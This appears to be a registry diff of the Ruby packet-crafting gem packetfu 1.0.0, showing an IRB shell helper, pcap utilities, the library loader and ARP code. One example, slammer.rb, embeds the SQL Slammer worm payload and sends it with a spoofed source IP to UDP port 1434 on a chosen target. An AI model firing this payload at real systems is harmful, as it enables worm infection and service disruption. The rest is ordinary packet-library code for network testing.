packetfu 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/.document +4 -0
- data/CHANGES +36 -0
- data/INSTALL +40 -0
- data/LICENSE +28 -0
- data/README +25 -0
- data/TODO +25 -0
- data/examples/ackscan.rb +38 -0
- data/examples/arp.rb +60 -0
- data/examples/arphood.rb +56 -0
- data/examples/ethernet.rb +10 -0
- data/examples/examples.rb +3 -0
- data/examples/ids.rb +4 -0
- data/examples/idsv2.rb +6 -0
- data/examples/oui.txt +84177 -0
- data/examples/packetfu-shell.rb +111 -0
- data/examples/simple-stats.rb +42 -0
- data/examples/slammer.rb +33 -0
- data/examples/uniqpcap.rb +15 -0
- data/lib/packetfu.rb +108 -0
- data/lib/packetfu/arp.rb +239 -0
- data/lib/packetfu/capture.rb +169 -0
- data/lib/packetfu/config.rb +55 -0
- data/lib/packetfu/eth.rb +264 -0
- data/lib/packetfu/icmp.rb +153 -0
- data/lib/packetfu/inject.rb +65 -0
- data/lib/packetfu/invalid.rb +41 -0
- data/lib/packetfu/ip.rb +318 -0
- data/lib/packetfu/ipv6.rb +230 -0
- data/lib/packetfu/packet.rb +492 -0
- data/lib/packetfu/pcap.rb +502 -0
- data/lib/packetfu/structfu.rb +274 -0
- data/lib/packetfu/tcp.rb +1061 -0
- data/lib/packetfu/udp.rb +210 -0
- data/lib/packetfu/utils.rb +182 -0
- data/test/all_tests.rb +37 -0
- data/test/ptest.rb +10 -0
- data/test/sample.pcap +0 -0
- data/test/sample2.pcap +0 -0
- data/test/test_arp.rb +135 -0
- data/test/test_eth.rb +90 -0
- data/test/test_icmp.rb +54 -0
- data/test/test_inject.rb +33 -0
- data/test/test_invalid.rb +28 -0
- data/test/test_ip.rb +69 -0
- data/test/test_ip6.rb +68 -0
- data/test/test_octets.rb +37 -0
- data/test/test_packet.rb +41 -0
- data/test/test_pcap.rb +210 -0
- data/test/test_structfu.rb +112 -0
- data/test/test_tcp.rb +327 -0
- data/test/test_udp.rb +73 -0
- metadata +144 -0
@@ -0,0 +1,111 @@
|
|
1
|
+
# == Synopsis
|
2
|
+
#
|
3
|
+
# packetfu-shell.rb is intended for IRB consumption, and providing an
|
4
|
+
# interactive interface for PacketFu experimentation.
|
5
|
+
#
|
6
|
+
# == Usage
|
7
|
+
#
|
8
|
+
# irb -r packetfu-shell.rb
|
9
|
+
# or
|
10
|
+
# sudo irb -r packetfu-shell.rb
|
11
|
+
#
|
12
|
+
# If run as root, packet capturing/injecting is available, which includes
|
13
|
+
# access to Utils.whoami?
|
14
|
+
#
|
15
|
+
# Once loaded, the PacketFu module is mixed in, and Utils commands are
|
16
|
+
# aliased to the PacketFu module proper. Sessions look something like
|
17
|
+
# this:
|
18
|
+
#
|
19
|
+
# == Example
|
20
|
+
#
|
21
|
+
# irb(main):001:0> pkt = TCPPacket.new
|
22
|
+
# => 00 1a c5 00 00 00 00 1a c5 00 00 00 08 00 45 00 ..............E.
|
23
|
+
# 00 28 62 9d 00 00 ff 06 59 33 00 00 00 00 00 00 .(b.....Y3......
|
24
|
+
# 00 00 d4 fb 00 00 18 c6 32 86 00 00 00 00 50 00 ........2.....P.
|
25
|
+
# 40 00 4f 9d 00 00 @.O...
|
26
|
+
# irb(main):002:0> pkt.payload="I am totally up in your stack, twiddling your bits."
|
27
|
+
# => "I am totally up in your stack, twiddling your bits."
|
28
|
+
# irb(main):003:0> pkt.ip_saddr="1.2.3.4"
|
29
|
+
# => "1.2.3.4"
|
30
|
+
# irb(main):004:0> pkt.tcp_sport=13013
|
31
|
+
# => 13013
|
32
|
+
# irb(main):005:0> pkt.tcp_dport=808
|
33
|
+
# => 808
|
34
|
+
# irb(main):006:0> pkt.recalc
|
35
|
+
# => {"eth_src"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}, "body"=>{"ip_tos"=>0, "ip_src"=>{"o1"=>1, "o2"=>2, "o3"=>3, "o4"=>4}, "body"=>{"tcp_ecn"=>{"c"=>0, "n"=>0, "e"=>0}, "tcp_dst"=>808, "tcp_win"=>16384, "body"=>"I am totally up in your stack, twiddling your bits.", "tcp_flags"=>{"fin"=>0, "psh"=>0, "syn"=>0, "rst"=>0, "ack"=>0, "urg"=>0}, "tcp_hlen"=>5, "tcp_ack"=>0, "tcp_urg"=>0, "tcp_seq"=>415642246, "tcp_sum"=>51184, "tcp_reserved"=>0, "tcp_opts"=>"", "tcp_src"=>13013}, "ip_dst"=>{"o1"=>0, "o2"=>0, "o3"=>0, "o4"=>0}, "ip_frag"=>0, "ip_proto"=>6, "ip_hl"=>5, "ip_len"=>91, "ip_sum"=>21754, "ip_id"=>25245, "ip_v"=>4, "ip_ttl"=>255}, "eth_proto"=>2048, "eth_dst"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}}
|
36
|
+
# irb(main):007:0> pkt.to_f('/tmp/tcp-example.pcap')
|
37
|
+
# => ["/tmp/tcp-example.pcap", 145, 1, 1220048597, 1]
|
38
|
+
# irb(main):008:0> puts pkt.inspect_hex(2)
|
39
|
+
# 32 d5 03 28 7c 50 1f 01 00 00 00 00 50 00 40 00 2..(|P......P.@.
|
40
|
+
# 77 eb 00 00 49 20 61 6d 20 74 6f 74 61 6c 6c 79 w...I am totally
|
41
|
+
# 20 75 70 20 69 6e 20 79 6f 75 72 20 73 74 61 63 up in your stac
|
42
|
+
# 6b 2c 20 74 77 69 64 64 6c 69 6e 67 20 79 6f 75 k, twiddling you
|
43
|
+
# 72 20 62 69 74 73 2e r bits.
|
44
|
+
# => nil
|
45
|
+
|
46
|
+
require 'examples'
|
47
|
+
require 'packetfu'
|
48
|
+
|
49
|
+
module PacketFu
|
50
|
+
def whoami?(args={})
|
51
|
+
Utils.whoami?(args)
|
52
|
+
end
|
53
|
+
def arp(arg)
|
54
|
+
Utils.arp(arg)
|
55
|
+
end
|
56
|
+
end
|
57
|
+
|
58
|
+
include PacketFu
|
59
|
+
|
60
|
+
# Draws a picture. Includes a nunchuck, so you know that it's serious.
|
61
|
+
# I /think/ this is how you're supposed to spell it in a kana charset.
|
62
|
+
# http://jisho.org/words?jap=+%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%83%95&eng=&dict=edict
|
63
|
+
#
|
64
|
+
def packetfu_ascii_art
|
65
|
+
puts <<EOM
|
66
|
+
_______ _______ _______ _ _______ _________ _______
|
67
|
+
( ____ )( ___ )( ____ \\| \\ /\\( ____ \\\\__ __/( ____ \\|\\ /|
|
68
|
+
| ( )|| ( ) || ( \\/| \\ / /| ( \\/ ) ( | ( \\/| ) ( |
|
69
|
+
| (____)|| (___) || | | (_/ / | (__ | | | (__ | | | |
|
70
|
+
| _____)| ___ || | | _ ( | __) | | | __) | | | |
|
71
|
+
| ( | ( ) || | | ( \\ \\ | ( | | | ( | | | |
|
72
|
+
| ) | ) ( || (____/\\| / \\ \\| (____/\\ | | | ) | (___) |
|
73
|
+
|/ |/ \\|(_______/|_/ \\/(_______/ )_( |/ (_______)
|
74
|
+
____________________________ ____________________________
|
75
|
+
( ) ( )
|
76
|
+
| 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |
|
77
|
+
| )( )( )( )( )( |
|
78
|
+
(____________________________) (____________________________)
|
79
|
+
PacketFu
|
80
|
+
a mid-level packet manipulation library for ruby
|
81
|
+
|
82
|
+
EOM
|
83
|
+
end
|
84
|
+
|
85
|
+
# Displays a helpful banner.
|
86
|
+
def banner
|
87
|
+
packetfu_ascii_art
|
88
|
+
puts ">>> PacketFu Shell #{PacketFu.version}."
|
89
|
+
if Process.euid.zero? && @@pcaprub_loaded
|
90
|
+
puts ">>> Use $packetfu_default.config for salient networking details."
|
91
|
+
print "IP: %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr]
|
92
|
+
puts " Gateway: %s" % $packetfu_default.eth_daddr
|
93
|
+
print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0]
|
94
|
+
print " " * 13
|
95
|
+
puts "Iface: %s" % [($packetfu_default.iface)]
|
96
|
+
puts ">>> Packet capturing/injecting enabled."
|
97
|
+
else
|
98
|
+
print ">>> Packet capturing/injecting disabled. "
|
99
|
+
puts Process.euid.zero? ? "(no PcapRub)" : "(not root)"
|
100
|
+
end
|
101
|
+
puts "<>" * 36
|
102
|
+
end
|
103
|
+
|
104
|
+
# Silly wlan0 workaround
|
105
|
+
begin
|
106
|
+
$packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@@pcaprub_loaded && Process.euid.zero?)
|
107
|
+
rescue RuntimeError
|
108
|
+
$packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@@pcaprub_loaded && Process.euid.zero?)
|
109
|
+
end
|
110
|
+
|
111
|
+
banner
|
@@ -0,0 +1,42 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
# Simple-stats.rb takes a pcap file, and gives some simple
|
4
|
+
# stastics on the protocols found. It's mainly used to
|
5
|
+
# demonstrate a method to parse pcap files.
|
6
|
+
|
7
|
+
require 'examples' # For path setting slight-of-hand
|
8
|
+
require 'packetfu'
|
9
|
+
|
10
|
+
# Takes a file name, parses the packets, and records the packet
|
11
|
+
# type based on its PacketFu class.
|
12
|
+
def count_packet_types(file)
|
13
|
+
file = File.open(file) {|f| f.read}
|
14
|
+
stats = {}
|
15
|
+
pcapfile = PacketFu::PcapPackets.new
|
16
|
+
pcapfile.read(file)
|
17
|
+
pcapfile.each do |p|
|
18
|
+
# Now it's a PacketFu packet struct.
|
19
|
+
pkt = PacketFu::Packet.parse(p.data)
|
20
|
+
kind = pkt.class.to_s.split("::").last
|
21
|
+
if stats[kind]
|
22
|
+
stats[kind] += 1
|
23
|
+
else
|
24
|
+
stats[kind] = 0
|
25
|
+
end
|
26
|
+
end
|
27
|
+
stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] }
|
28
|
+
end
|
29
|
+
|
30
|
+
if File.readable?(infile = (ARGV[0] || 'in.pcap'))
|
31
|
+
title = "Packets by packet type in '#{infile}'"
|
32
|
+
puts title
|
33
|
+
puts "-" * title.size
|
34
|
+
count_packet_types(infile)
|
35
|
+
else
|
36
|
+
raise RuntimeError, "Need an infile, like so: #{$0} in.pcap"
|
37
|
+
end
|
38
|
+
|
39
|
+
|
40
|
+
|
41
|
+
|
42
|
+
|
data/examples/slammer.rb
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
# Fires off a slammer packet to an unsuspecting target. This code does not
|
4
|
+
# break real devices! (To do that, you'll need to fix up the targetting)
|
5
|
+
target = ARGV[0]
|
6
|
+
raise RuntimeError, "Need a target" unless target
|
7
|
+
action = ARGV[1]
|
8
|
+
raise RuntimeError, "Need an action. Try file or your interface." unless action
|
9
|
+
|
10
|
+
require 'packetfu'
|
11
|
+
include PacketFu
|
12
|
+
|
13
|
+
slammer = "\004\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\334\311\260B\353\016" + "\001\001\001\001\001\001\001p\256B\001p\256B\220\220\220\220\220\220\220\220h\334\311\260B\270\001\001" + "\001\0011\311\261\030P\342\3755\001\001\001\005P\211\345Qh.dllhel32hkernQhounthickChGetTf" + "\271llQh32.dhws2_f\271etQhsockf\271toQhsend\276\030\020\256B\215E\324P\377\026P\215E\340P\215E\360P\377" + "\026P\276\020\020\256B\213\036\213\003=U\213\354Qt\005\276\034\020\256B\377\026\377\3201\311QQP\201\361" + "\003\001\004\233\201\361\001\001\001\001Q\215E\314P\213E\300P\377\026j\021j\002j\002\377\320P\215E\304P" + "\213E\300P\377\026\211\306\t\333\201\363<a\331\377\213E\264\215\f@\215\024\210\301\342\004\001\302\301" + "\342\b)\302\215\004\220\001\330\211E\264j\020\215E\260P1\311Qf\201\361x\001Q\215E\003P\213E\254P\377\326" + "\353\312"
|
14
|
+
|
15
|
+
def rand_source_ip
|
16
|
+
[rand(0xffffffff)].pack("N")
|
17
|
+
end
|
18
|
+
|
19
|
+
kill_packet = UDPPacket.new
|
20
|
+
kill_packet.eth_daddr = "00:1b:63:aa:bb:cc"
|
21
|
+
kill_packet.ip_daddr = ARGV[0]
|
22
|
+
kill_packet.ip_src.read(rand_source_ip)
|
23
|
+
kill_packet.udp_dst = 1434
|
24
|
+
kill_packet.recalc
|
25
|
+
kill_packet.payload = slammer
|
26
|
+
|
27
|
+
if action == 'file'.downcase
|
28
|
+
puts kill_packet.to_f
|
29
|
+
else
|
30
|
+
puts kill_packet.to_w(action.downcase)
|
31
|
+
end
|
32
|
+
|
33
|
+
|
@@ -0,0 +1,15 @@
|
|
1
|
+
# Uniqpcap.rb takes a pcap file, strips out duplicate packets, and
|
2
|
+
# writes them to a file.
|
3
|
+
#
|
4
|
+
# The duplicate pcap problem is common when I'm capturing
|
5
|
+
# traffic to/from a VMWare image, for some reason.
|
6
|
+
#
|
7
|
+
# Currently, the timestamp information is lost due to PcapRub's
|
8
|
+
# file read. For me, this isn't a big deal. Future versions
|
9
|
+
# will deal with timestamps correctly.
|
10
|
+
require 'examples' # For path setting slight-of-hand
|
11
|
+
require 'packetfu'
|
12
|
+
|
13
|
+
in_array = PacketFu::Read.f2a(:file => ARGV[0])
|
14
|
+
puts PacketFu::Write.a2f(:file => "uniq-" + ARGV[0], :arr => in_array.uniq).inspect
|
15
|
+
|
data/lib/packetfu.rb
ADDED
@@ -0,0 +1,108 @@
|
|
1
|
+
|
2
|
+
# :title: PacketFu Documentation
|
3
|
+
# :include: ../README
|
4
|
+
# :include: ../INSTALL
|
5
|
+
# :include: ../LICENSE
|
6
|
+
|
7
|
+
$: << File.expand_path(File.dirname(__FILE__))
|
8
|
+
require "packetfu/structfu"
|
9
|
+
require "ipaddr"
|
10
|
+
require 'rubygems' if RUBY_VERSION =~ /^1\.[0-8]/
|
11
|
+
|
12
|
+
module PacketFu
|
13
|
+
|
14
|
+
# Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order
|
15
|
+
@byte_order = :little
|
16
|
+
|
17
|
+
# Checks if pcaprub is loaded correctly.
|
18
|
+
@@pcaprub_loaded = false
|
19
|
+
|
20
|
+
# PacketFu works best with Pcaprub version 0.8-dev (at least)
|
21
|
+
# The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine.
|
22
|
+
def self.pcaprub_platform_require
|
23
|
+
begin
|
24
|
+
require 'pcaprub'
|
25
|
+
rescue LoadError
|
26
|
+
return false
|
27
|
+
end
|
28
|
+
@@pcaprub_loaded = true
|
29
|
+
end
|
30
|
+
|
31
|
+
pcaprub_platform_require
|
32
|
+
if @@pcaprub_loaded
|
33
|
+
if Pcap.version !~ /[0-9]\.[7-9][0-9]?(-dev)?/ # Regex for 0.7-dev and beyond.
|
34
|
+
@@pcaprub_loaded = false # Don't bother with broken versions
|
35
|
+
raise LoadError, "PcapRub not at a minimum version of 0.8-dev"
|
36
|
+
end
|
37
|
+
require "packetfu/capture"
|
38
|
+
require "packetfu/inject"
|
39
|
+
else
|
40
|
+
warn "Warning: Missing pcaprub, cannot load PacketFu::Capture or PacketFu::Inject"
|
41
|
+
end
|
42
|
+
|
43
|
+
end
|
44
|
+
|
45
|
+
require "packetfu/pcap"
|
46
|
+
require "packetfu/packet"
|
47
|
+
require "packetfu/invalid"
|
48
|
+
require "packetfu/eth"
|
49
|
+
require "packetfu/ip"
|
50
|
+
require "packetfu/arp"
|
51
|
+
require "packetfu/icmp"
|
52
|
+
require "packetfu/udp"
|
53
|
+
require "packetfu/tcp"
|
54
|
+
require "packetfu/ipv6" # This is pretty minimal.
|
55
|
+
require "packetfu/utils"
|
56
|
+
require "packetfu/config"
|
57
|
+
|
58
|
+
module PacketFu
|
59
|
+
|
60
|
+
VERSION = "1.0.0" # Version 1.0.0 was released July 31, 2010
|
61
|
+
|
62
|
+
# Returns the current version of PacketFu. Incremented every once
|
63
|
+
# in a while, when I remember
|
64
|
+
def self.version
|
65
|
+
PacketFu::VERSION
|
66
|
+
end
|
67
|
+
|
68
|
+
# Returns the version in a binary format for easy comparisons.
|
69
|
+
def self.binarize_version(str)
|
70
|
+
if(str.respond_to?(:split) && str =~ /^[0-9]+(\.([0-9]+)(\.[0-9]+)?)?$/)
|
71
|
+
bin_major,bin_minor,bin_teeny = str.split(/\x2e/).map {|x| x.to_i}
|
72
|
+
bin_version = (bin_major.to_i << 16) + (bin_minor.to_i << 8) + bin_teeny.to_i
|
73
|
+
else
|
74
|
+
raise ArgumentError, "Compare version malformed. Should be \x22x.y.z\x22"
|
75
|
+
end
|
76
|
+
end
|
77
|
+
|
78
|
+
# Returns true if the version is equal to or greater than the compare version.
|
79
|
+
# If the current version of PacketFu is "0.3.1" for example:
|
80
|
+
#
|
81
|
+
# PacketFu.at_least? "0" # => true
|
82
|
+
# PacketFu.at_least? "0.2.9" # => true
|
83
|
+
# PacketFu.at_least? "0.3" # => true
|
84
|
+
# PacketFu.at_least? "1" # => true after 1.0's release
|
85
|
+
# PacketFu.at_least? "1.12" # => false
|
86
|
+
# PacketFu.at_least? "2" # => false
|
87
|
+
def self.at_least?(str)
|
88
|
+
this_version = binarize_version(self.version)
|
89
|
+
ask_version = binarize_version(str)
|
90
|
+
this_version >= ask_version
|
91
|
+
end
|
92
|
+
|
93
|
+
# Returns true if the current version is older than the compare version.
|
94
|
+
def self.older_than?(str)
|
95
|
+
this_version = binarize_version(self.version)
|
96
|
+
ask_version = binarize_version(str)
|
97
|
+
this_version < ask_version
|
98
|
+
end
|
99
|
+
|
100
|
+
# Returns true if the current version is newer than the compare version.
|
101
|
+
def self.newer_than?(str)
|
102
|
+
return false if str == self.version
|
103
|
+
!self.older_than?(str)
|
104
|
+
end
|
105
|
+
|
106
|
+
end
|
107
|
+
|
108
|
+
# vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby
|
data/lib/packetfu/arp.rb
ADDED
@@ -0,0 +1,239 @@
|
|
1
|
+
module PacketFu
|
2
|
+
|
3
|
+
# ARPHeader is a complete ARP struct, used in ARPPacket.
|
4
|
+
#
|
5
|
+
# ARP is used to discover the machine address of nearby devices.
|
6
|
+
#
|
7
|
+
# See http://www.networksorcery.com/enp/protocol/arp.htm for details.
|
8
|
+
#
|
9
|
+
# ==== Header Definition
|
10
|
+
#
|
11
|
+
# Int16 :arp_hw Default: 1 # Ethernet
|
12
|
+
# Int16 :arp_proto, Default: 0x8000 # IP
|
13
|
+
# Int8 :arp_hw_len, Default: 6
|
14
|
+
# Int8 :arp_proto_len, Default: 4
|
15
|
+
# Int16 :arp_opcode, Default: 1 # 1: Request, 2: Reply, 3: Request-Reverse, 4: Reply-Reverse
|
16
|
+
# EthMac :arp_src_mac # From eth.rb
|
17
|
+
# Octets :arp_src_ip # From ip.rb
|
18
|
+
# EthMac :arp_dst_mac # From eth.rb
|
19
|
+
# Octets :arp_dst_ip # From ip.rb
|
20
|
+
# String :body
|
21
|
+
class ARPHeader < Struct.new(:arp_hw, :arp_proto, :arp_hw_len,
|
22
|
+
:arp_proto_len, :arp_opcode,
|
23
|
+
:arp_src_mac, :arp_src_ip,
|
24
|
+
:arp_dst_mac, :arp_dst_ip,
|
25
|
+
:body)
|
26
|
+
include StructFu
|
27
|
+
|
28
|
+
def initialize(args={})
|
29
|
+
super(
|
30
|
+
Int16.new(args[:arp_hw] || 1),
|
31
|
+
Int16.new(args[:arp_proto] ||0x0800),
|
32
|
+
Int8.new(args[:arp_hw_len] || 6),
|
33
|
+
Int8.new(args[:arp_proto_len] || 4),
|
34
|
+
Int16.new(args[:arp_opcode] || 1),
|
35
|
+
EthMac.new.read(args[:arp_src_mac]),
|
36
|
+
Octets.new.read(args[:arp_src_ip]),
|
37
|
+
EthMac.new.read(args[:arp_dst_mac]),
|
38
|
+
Octets.new.read(args[:arp_dst_ip]),
|
39
|
+
StructFu::String.new.read(args[:body])
|
40
|
+
)
|
41
|
+
end
|
42
|
+
|
43
|
+
# Returns the object in string form.
|
44
|
+
def to_s
|
45
|
+
self.to_a.map {|x| x.to_s}.join
|
46
|
+
end
|
47
|
+
|
48
|
+
# Reads a string to populate the object.
|
49
|
+
def read(str)
|
50
|
+
force_binary(str)
|
51
|
+
return self if str.nil?
|
52
|
+
self[:arp_hw].read(str[0,2])
|
53
|
+
self[:arp_proto].read(str[2,2])
|
54
|
+
self[:arp_hw_len].read(str[4,1])
|
55
|
+
self[:arp_proto_len].read(str[5,1])
|
56
|
+
self[:arp_opcode].read(str[6,2])
|
57
|
+
self[:arp_src_mac].read(str[8,6])
|
58
|
+
self[:arp_src_ip].read(str[14,4])
|
59
|
+
self[:arp_dst_mac].read(str[18,6])
|
60
|
+
self[:arp_dst_ip].read(str[24,4])
|
61
|
+
self[:body].read(str[28,str.size])
|
62
|
+
self
|
63
|
+
end
|
64
|
+
|
65
|
+
# Setter for the ARP hardware type.
|
66
|
+
def arp_hw=(i); typecast i; end
|
67
|
+
# Getter for the ARP hardware type.
|
68
|
+
def arp_hw; self[:arp_hw].to_i; end
|
69
|
+
# Setter for the ARP protocol.
|
70
|
+
def arp_proto=(i); typecast i; end
|
71
|
+
# Getter for the ARP protocol.
|
72
|
+
def arp_proto; self[:arp_proto].to_i; end
|
73
|
+
# Setter for the ARP hardware type length.
|
74
|
+
def arp_hw_len=(i); typecast i; end
|
75
|
+
# Getter for the ARP hardware type length.
|
76
|
+
def arp_hw_len; self[:arp_hw_len].to_i; end
|
77
|
+
# Setter for the ARP protocol length.
|
78
|
+
def arp_proto_len=(i); typecast i; end
|
79
|
+
# Getter for the ARP protocol length.
|
80
|
+
def arp_proto; self[:arp_proto].to_i; end
|
81
|
+
# Setter for the ARP opcode.
|
82
|
+
def arp_opcode=(i); typecast i; end
|
83
|
+
# Getter for the ARP opcode.
|
84
|
+
def arp_opcode; self[:arp_opcode].to_i; end
|
85
|
+
# Setter for the ARP source MAC address.
|
86
|
+
def arp_src_mac=(i); typecast i; end
|
87
|
+
# Getter for the ARP source MAC address.
|
88
|
+
def arp_src_mac; self[:arp_src_mac].to_s; end
|
89
|
+
# Getter for the ARP source IP address.
|
90
|
+
def arp_src_ip=(i); typecast i; end
|
91
|
+
# Setter for the ARP source IP address.
|
92
|
+
def arp_src_ip; self[:arp_src_ip].to_s; end
|
93
|
+
# Setter for the ARP destination MAC address.
|
94
|
+
def arp_dst_mac=(i); typecast i; end
|
95
|
+
# Setter for the ARP destination MAC address.
|
96
|
+
def arp_dst_mac; self[:arp_dst_mac].to_s; end
|
97
|
+
# Setter for the ARP destination IP address.
|
98
|
+
def arp_dst_ip=(i); typecast i; end
|
99
|
+
# Getter for the ARP destination IP address.
|
100
|
+
def arp_dst_ip; self[:arp_dst_ip].to_s; end
|
101
|
+
|
102
|
+
# Set the source MAC address in a more readable way.
|
103
|
+
def arp_saddr_mac=(mac)
|
104
|
+
mac = EthHeader.mac2str(mac)
|
105
|
+
self[:arp_src_mac].read(mac)
|
106
|
+
self.arp_src_mac
|
107
|
+
end
|
108
|
+
|
109
|
+
# Get a more readable source MAC address.
|
110
|
+
def arp_saddr_mac
|
111
|
+
EthHeader.str2mac(self[:arp_src_mac].to_s)
|
112
|
+
end
|
113
|
+
|
114
|
+
# Set the destination MAC address in a more readable way.
|
115
|
+
def arp_daddr_mac=(mac)
|
116
|
+
mac = EthHeader.mac2str(mac)
|
117
|
+
self[:arp_dst_mac].read(mac)
|
118
|
+
self.arp_dst_mac
|
119
|
+
end
|
120
|
+
|
121
|
+
# Get a more readable source MAC address.
|
122
|
+
def arp_daddr_mac
|
123
|
+
EthHeader.str2mac(self[:arp_dst_mac].to_s)
|
124
|
+
end
|
125
|
+
|
126
|
+
# Set a more readable source IP address.
|
127
|
+
def arp_saddr_ip=(addr)
|
128
|
+
self[:arp_src_ip].read_quad(addr)
|
129
|
+
end
|
130
|
+
|
131
|
+
# Get a more readable source IP address.
|
132
|
+
def arp_saddr_ip
|
133
|
+
self[:arp_src_ip].to_x
|
134
|
+
end
|
135
|
+
|
136
|
+
# Set a more readable destination IP address.
|
137
|
+
def arp_daddr_ip=(addr)
|
138
|
+
self[:arp_dst_ip].read_quad(addr)
|
139
|
+
end
|
140
|
+
|
141
|
+
# Get a more readable destination IP address.
|
142
|
+
def arp_daddr_ip
|
143
|
+
self[:arp_dst_ip].to_x
|
144
|
+
end
|
145
|
+
|
146
|
+
end # class ARPHeader
|
147
|
+
|
148
|
+
# ARPPacket is used to construct ARP packets. They contain an EthHeader and an ARPHeader.
|
149
|
+
# == Example
|
150
|
+
#
|
151
|
+
# require 'packetfu'
|
152
|
+
# arp_pkt = PacketFu::ARPPacket.new(:flavor => "Windows")
|
153
|
+
# arp_pkt.arp_saddr_mac="00:1c:23:44:55:66" # Your hardware address
|
154
|
+
# arp_pkt.arp_saddr_ip="10.10.10.17" # Your IP address
|
155
|
+
# arp_pkt.arp_daddr_ip="10.10.10.1" # Target IP address
|
156
|
+
# arp_pkt.arp_opcode=1 # Request
|
157
|
+
#
|
158
|
+
# arp_pkt.to_w('eth0') # Inject on the wire. (requires root)
|
159
|
+
# arp_pkt.to_f('/tmp/arp.pcap') # Write to a file.
|
160
|
+
#
|
161
|
+
# == Parameters
|
162
|
+
#
|
163
|
+
# :flavor
|
164
|
+
# Sets the "flavor" of the ARP packet. Choices are currently:
|
165
|
+
# :windows, :linux, :hp_deskjet
|
166
|
+
# :eth
|
167
|
+
# A pre-generated EthHeader object. If not specified, a new one will be created.
|
168
|
+
# :arp
|
169
|
+
# A pre-generated ARPHeader object. If not specificed, a new one will be created.
|
170
|
+
# :config
|
171
|
+
# A hash of return address details, often the output of Utils.whoami?
|
172
|
+
class ARPPacket < Packet
|
173
|
+
|
174
|
+
attr_accessor :eth_header, :arp_header
|
175
|
+
|
176
|
+
def initialize(args={})
|
177
|
+
@eth_header = EthHeader.new(args).read(args[:eth])
|
178
|
+
@arp_header = ARPHeader.new(args).read(args[:arp])
|
179
|
+
@eth_header.eth_proto = "\x08\x06"
|
180
|
+
@eth_header.body=@arp_header
|
181
|
+
|
182
|
+
# Please send more flavors to todb-packetfu@planb-security.net.
|
183
|
+
# Most of these initial fingerprints come from one (1) sample.
|
184
|
+
case (args[:flavor].nil?) ? :nil : args[:flavor].to_s.downcase.intern
|
185
|
+
when :windows; @arp_header.body = "\x00" * 64 # 64 bytes of padding
|
186
|
+
when :linux; @arp_header.body = "\x00" * 4 + # 32 bytes of padding
|
187
|
+
"\x00\x07\x5c\x14" + "\x00" * 4 +
|
188
|
+
"\x00\x0f\x83\x34" + "\x00\x0f\x83\x74" +
|
189
|
+
"\x01\x11\x83\x78" + "\x00\x00\x00\x0c" +
|
190
|
+
"\x00\x00\x00\x00"
|
191
|
+
when :hp_deskjet; # Pads up to 60 bytes.
|
192
|
+
@arp_header.body = "\xe0\x90\x0d\x6c" +
|
193
|
+
"\xff\xff\xee\xee" + "\x00" * 4 +
|
194
|
+
"\xe0\x8f\xfa\x18\x00\x20"
|
195
|
+
else; @arp_header.body = "\x00" * 18 # Pads up to 60 bytes.
|
196
|
+
end
|
197
|
+
|
198
|
+
@headers = [@eth_header, @arp_header]
|
199
|
+
super
|
200
|
+
|
201
|
+
end
|
202
|
+
|
203
|
+
# Generates summary data for ARP packets.
|
204
|
+
def peek(args={})
|
205
|
+
peek_data = ["A "]
|
206
|
+
peek_data << "%-5d" % self.to_s.size
|
207
|
+
peek_data << arp_saddr_mac
|
208
|
+
peek_data << "(#{arp_saddr_ip})"
|
209
|
+
peek_data << "->"
|
210
|
+
peek_data << case arp_daddr_mac
|
211
|
+
when "00:00:00:00:00:00"; "Bcast00"
|
212
|
+
when "ff:ff:ff:ff:ff:ff"; "BcastFF"
|
213
|
+
else; arp_daddr_mac
|
214
|
+
end
|
215
|
+
peek_data << "(#{arp_daddr_ip})"
|
216
|
+
peek_data << ":"
|
217
|
+
peek_data << case arp_opcode
|
218
|
+
when 1; "Requ"
|
219
|
+
when 2; "Repl"
|
220
|
+
when 3; "RReq"
|
221
|
+
when 4; "RRpl"
|
222
|
+
when 5; "IReq"
|
223
|
+
when 6; "IRpl"
|
224
|
+
else; "0x%02x" % arp_opcode
|
225
|
+
end
|
226
|
+
peek_data.join
|
227
|
+
end
|
228
|
+
|
229
|
+
# While there are lengths in ARPPackets, there's not
|
230
|
+
# much to do with them.
|
231
|
+
def recalc(args={})
|
232
|
+
@headers[0].inspect
|
233
|
+
end
|
234
|
+
|
235
|
+
end
|
236
|
+
|
237
|
+
end
|
238
|
+
|
239
|
+
# vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby
|